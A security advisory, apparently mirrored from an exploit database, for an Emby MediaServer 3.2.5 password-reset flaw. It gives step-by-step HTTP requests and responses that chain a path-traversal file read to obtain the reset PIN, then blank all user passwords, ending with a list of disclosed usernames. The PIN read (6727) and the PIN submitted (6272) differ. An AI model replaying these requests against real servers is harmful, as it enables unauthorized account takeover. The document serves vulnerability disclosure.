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# Emby MediaServer 3.2.5 Password Reset Vulnerability

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Emby MediaServer 3.2.5 Password Reset Vulnerability
 
 
Vendor: Emby LLC
Product web page: https://www.emby.media
Affected version: 3.2.5
                  3.1.5
                  3.1.2
                  3.1.1
                  3.1.0
                  3.0.0
 
Summary: Emby (formerly Media Browser) is a media server designed to organize,
play, and stream audio and video to a variety of devices. Emby is open-source,
and uses a client-server model. Two comparable media servers are Plex and Windows
Media Center.
 
Desc: The issue can be triggered by an unauthenticated actor within the home network
(LAN) only. The attacker doesn't need to specify a valid username to reset the
password. He or she can enter a random string, and using the file disclosure issue
it's possible to read the PIN needed for resetting. This in turn will disclose all
the valid usernames in the emby server and reset all the passwords for all the users
with a blank password. Attackers can exploit this to gain unauthenticated and unauthorized
access to the emby media server management interface.
 
Tested on: Microsoft Windows 7 Professional SP1 (EN)
           Mono-HTTPAPI/1.1, UPnP/1.0 DLNADOC/1.50
           Ubuntu Linux 14.04.5
           MacOS Sierra 10.12.3
           SQLite3
 
 
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience
 
 
Advisory ID: ZSL-2017-5401
Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2017-5401.php
 
SSD Advisory: https://blogs.securiteam.com/index.php/archives/3098
 
 
22.12.2016
 
--
 
 
1. First we initiate the Forgot Password feature from within our home network:
------------------------------------------------------------------------------
 
http://10.211.55.3:8096/web/forgotpassword.html
 
 
2. Then, we type any random username and hit submit:
----------------------------------------------------
 
POST /emby/Users/ForgotPassword HTTP/1.1
Host: 10.211.55.3:8096
Connection: keep-alive
Content-Length: 32
accept: application/json
Origin: http://10.211.55.3:8096
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
x-emby-authorization: MediaBrowser Client="Emby Mobile", Device="Chrome", DeviceId="3848bd099140288b429e5189456c7354b531fc6b", Version="3.2.5.0"
content-type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://10.211.55.3:8096/web/forgotpassword.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8,mk;q=0.6
DNT: 1
 
EnteredUsername=RandomusUsuarius
 
 
 
3. You will get an alert message (Windows/Linux):
-------------------------------------------------
 
The following file has been created on your server and contains instructions on how to proceed:
 
C:\Users\lqwrm\AppData\Roaming\\Emby-Server\passwordreset.txt
 
-- OR --
 
/var/lib/emby-server/passwordreset.txt
 
 
4. Exploiting the file disclosure vulnerability (ZSL-2017-5403):
----------------------------------------------------------------
 
GET /emby/swagger-ui/..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Users\lqwrm\AppData\Roaming\Emby-Server\passwordreset.txt HTTP/1.1
Host: 10.211.55.3:8096
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Connection: close
 
HTTP/1.1 200 OK
X-UA-Compatible: IE=Edge
Access-Control-Allow-Headers: Content-Type, Authorization, Range, X-MediaBrowser-Token, X-Emby-Authorization
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
ETag: "c4fd834ac2fc99ff99d74c8e994a8a71"
Cache-Control: public
Expires: -1
Server: Mono-HTTPAPI/1.1, UPnP/1.0 DLNADOC/1.50
Content-Type: text/plain
Date: Tue, 28 Feb 2017 12:14:51 GMT
Content-Length: 164
Connection: close
 
Use your web browser to visit:
 
http://10.211.55.3:8096/web/forgotpasswordpin.html
 
Enter the following pin code:
 
6727
 
The pin code will expire at 91
 
 
 
5. Following the instructions, entering the PIN, results in resetting all the passwords for all the emby users on the system:
-----------------------------------------------------------------------------------------------------------------------------
 
POST /emby/Users/ForgotPassword/Pin HTTP/1.1
Host: 10.211.55.3:8096
Connection: keep-alive
Content-Length: 9
accept: application/json
Origin: http://10.211.55.3:8096
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
x-emby-authorization: MediaBrowser Client="Emby Mobile", Device="Chrome", DeviceId="3848bd099140288b429e5189456c7354b531fc6b", Version="3.2.5.0"
content-type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://10.211.55.3:8096/web/forgotpasswordpin.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8,mk;q=0.6
DNT: 1
 
Pin=6272
 
---
 
We get the message:
 
Passwords have been removed for the following users. To login, sign in with a blank password.
 
testingus
test321
beebee
admin
ztefan
lio
miko
dni
embyusertest
joxypoxy
test123
thricer
teppei
admin2
delf1na

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# Iranian Exploit DataBase = http://IeDb.Ir [2017-05-12]

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